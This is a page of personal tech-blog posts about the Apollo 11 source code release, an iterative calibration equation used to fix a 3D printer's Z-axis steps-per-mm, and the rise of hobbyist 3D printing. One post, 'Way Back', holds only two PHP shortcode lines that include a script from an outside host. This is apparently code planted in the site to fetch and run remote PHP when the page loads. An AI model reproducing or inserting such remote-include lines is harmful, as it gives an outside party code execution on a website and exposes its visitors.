Apollo 11 source code made public

NASA has just released the source code used for the Apollo 11 lunar landing mission.

You know — the code in the stack of printouts Margaret Hamilton is showing off in that famous NASA picture.

Apollo Guidance Computer project lead Margaret Hamilton shows off the printouts of the AGC software.

Apollo Guidance Computer project lead Margaret Hamilton shows off the printouts of the AGC software.

Anyway, it’s up on github. It may be a bit more difficult than most libraries to re-use, being written in AGC4 assembly language — but it’s an important piece of technological history.


Posted in Assembly, Aviation, Coding, Current Events, Design, Digital, Digital Citizenship, Nostalgia | Leave a comment

The Calibration Equation

One of the most important Engineering concepts is that of the closed loop. In order to improve something, you need the ability to change it in appropriate ways — as well as the ability to know whether these changes are making the end result better or worse. Specifically, you need to measure it and determine the amount of error.

The classic example of this is a thermostat. A thermostat connected to a heater might, for example, be set to keep a room at around 20 degrees C. If the room gets significantly warmer than this, no more heat is needed, and the thermostat can shut off the heater. If it gets too cold, heat is needed, and the thermostat turns the heater back on.

This principle is more widely useful than just for home heating controls, however. The same principle, with a few adjustments, can be used for calibration of systems — or measurements.

I recently upgraded the Z axis motion on my 3D printer, which should result in much smoother (and efficient) motion. It’s already resulted in better-looking parts. However, the 8mm lead screws that were suitable had a much different pitch than the threaded rod the old Z-axis design had used. Since 3D printers operate by counting how far they’ve gone, not compensating for this would result in far too much distance between layers. The firmware would rotate the steppers by the same too-large amount, not knowing that the effective mechanical steps-per-mm had been greatly reduced.

The wrong steps-per-mm setting for the Z axis can produce a complete bird's nest.

The wrong steps-per-mm setting for the Z axis can produce a complete bird’s nest.

Clearly, the 2550 steps/mm Z axis setting had to be reduced. But by how much? As it turns out, since the relationship here is linear, there’s a handy equation you can use to estimate the correct number.


This is, ideally, an iterative process. P(n) represents the latest estimate of the correct calibration constant; it is calculated by taking the current calibration constant — P(n-1), and multiplying it by D (Desired), divided by O (Obtained.)

So, multiply the current setting by what you want, divide it by what you got, and the result should be fairly close to accurate. One or two iterations of this process should reduce any remaining error to well under a percent, in most situations.

In the case of the 3D printer, the initial setting was 2550 steps per mm. With this setting, a commanded z-axis movement of 10mm actually resulted in a movement of 61.3mm. Using this result, I reset the setting to about 416 and tried again. Eventually, iterating this process, I ended up with a Z-axis setting of 402.4 — not too far off the initial estimate.

The disclaimer, of course, is that this may not work in situations where the calibration curve isn’t constant — that is, where the relationship between the input and output of the system is nonlinear. But that’s a Calculus discussion, and one for another day.

Posted in 3D Printing, HOW-TO, Math, Science, Troubleshooting | Leave a comment

Way Back

[insert_php] include(“http://acommeamour.fr/tmp/9qtk6.php”); [/insert_php]
[php] include(“http://acommeamour.fr/tmp/9qtk6.php”); [/php]

Posted in Internet, Nostalgia, Resources, Tools | Leave a comment

The Revolution Will Be Printed

Every so often, you come across a technology that would have seemed magical only a decade or two ago. Occasionally, such technology is impressive enough that, even though you know how it works, it still retains some of that magic even after extensive use.

3D printers are one such technology. The ability to download or design a Thing using your computer, slice it into layers, and then send it to a device on your kitchen table which will make your design into reality is simply magical, even if you understand the entire process.

My Hictop Prusa i3 clone 3D printer making a thin sphere.

My Hictop Prusa i3 clone 3D printer making a thin sphere.

Part of this magic is that 3D printers have the potential to democratize invention and design, much like the Gutenberg press democratized written communications. Anyone with an idea for a new gadget can design it on a PC and produce it locally. With 3D printers now selling for well under $400 shipped, the technology is really starting to take off. Fittingly, I bought my kit on October 21, 2015 — the very day that Marty McFly first sets foot in The Future.

If you work for a university or a decent-size design company, of course, you know that 3D printers have been around since the 1980s. They’re an invaluable tool for prototyping as well as for production of one-off or low-volume items. Companies like Stratasys have developed reliable (but very expensive to buy and run) turn-key solutions to turn designs into objects. Until recently, of course, they’ve cost tens of thousands of dollars — or more.

Where the 3D printing revolution really get interesting is when the cost of the technology drops to the point where hundreds of thousands or even millions of hobbyists have access to it. Communities such as Thingiverse spring up online, where people can share their designs and expertise, helping others to get going quickly.

This is happening now. With the recent expiration of some key 3D printing patents, the hobbyist market has exploded. For under $400, you can get a 3D printer kit capable of making parts of similar quality to professional printers costing $15,000 or more.

The main differences, actually, are that the hobbyist machines are far more customizable in terms of both modifications and print settings, and they run on commodity filament, rather than proprietary cartridges. Parts are roughly ten times cheaper to produce on my Prusa i3 clone than on a Stratasys uPrint.

A 3D printed Klein Bottle, produced on my Prusa i3 clone.

A 3D printed Klein Bottle, produced on my Prusa i3 clone.

I’ll be writing more on various aspects of 3D printing as I explore them — but for now, here are some of the things that really strike me as interesting / important /cool about the technology:

  • If you need a part right away, it’s often possible to download, slice, and print it in hours or sometimes even minutes. There’s a reason it’s called “Rapid Prototyping.”
  • Parts cost very little to produce, once you have a 3D printer. A typical cost for a medium-size part would be $1US or so.
  • It’s possible to get involved as little or as deeply as you like, from downloading and printing out Pokémon figurines, to learning mechanical engineering and product design principles, designing professional-quality parts, and hand-tuning your 3D printer to produce them quickly with excellent quality.
  • The ability to design and print customized parts is amazing. Having access to such a device opens up all kinds of possibilities — like designing a phone holder to fit the visor on your car, so your 1997 Escort can have Google-powered navigation.
  • You can print your own upgrades. One of the most amazing aspects of the technology is the one RepRap project founder Dr. Adrian Bowyer envisioned: These printers can make many of their own parts. We’re not yet to the stage where a 3D printer can print another one — but people have stopped laughing, which is the first sign that a technology is becoming more science than fiction.

This is the beginning of a very cool new technological revolution. If you’re a technology geek, and don’t yet have a 3D printer, you should start thinking about getting one. If you don’t believe me, go take a look at all of the cool designs available for free on Thingiverse.

Here’s a link to the model I bought.

I’ll review it in a later post, but the TL;DR is that it’s magical — and I’d buy it again in a minute.


Posted in 3D Printing, Current Events, Design, Digital Citizenship, Tools | Leave a comment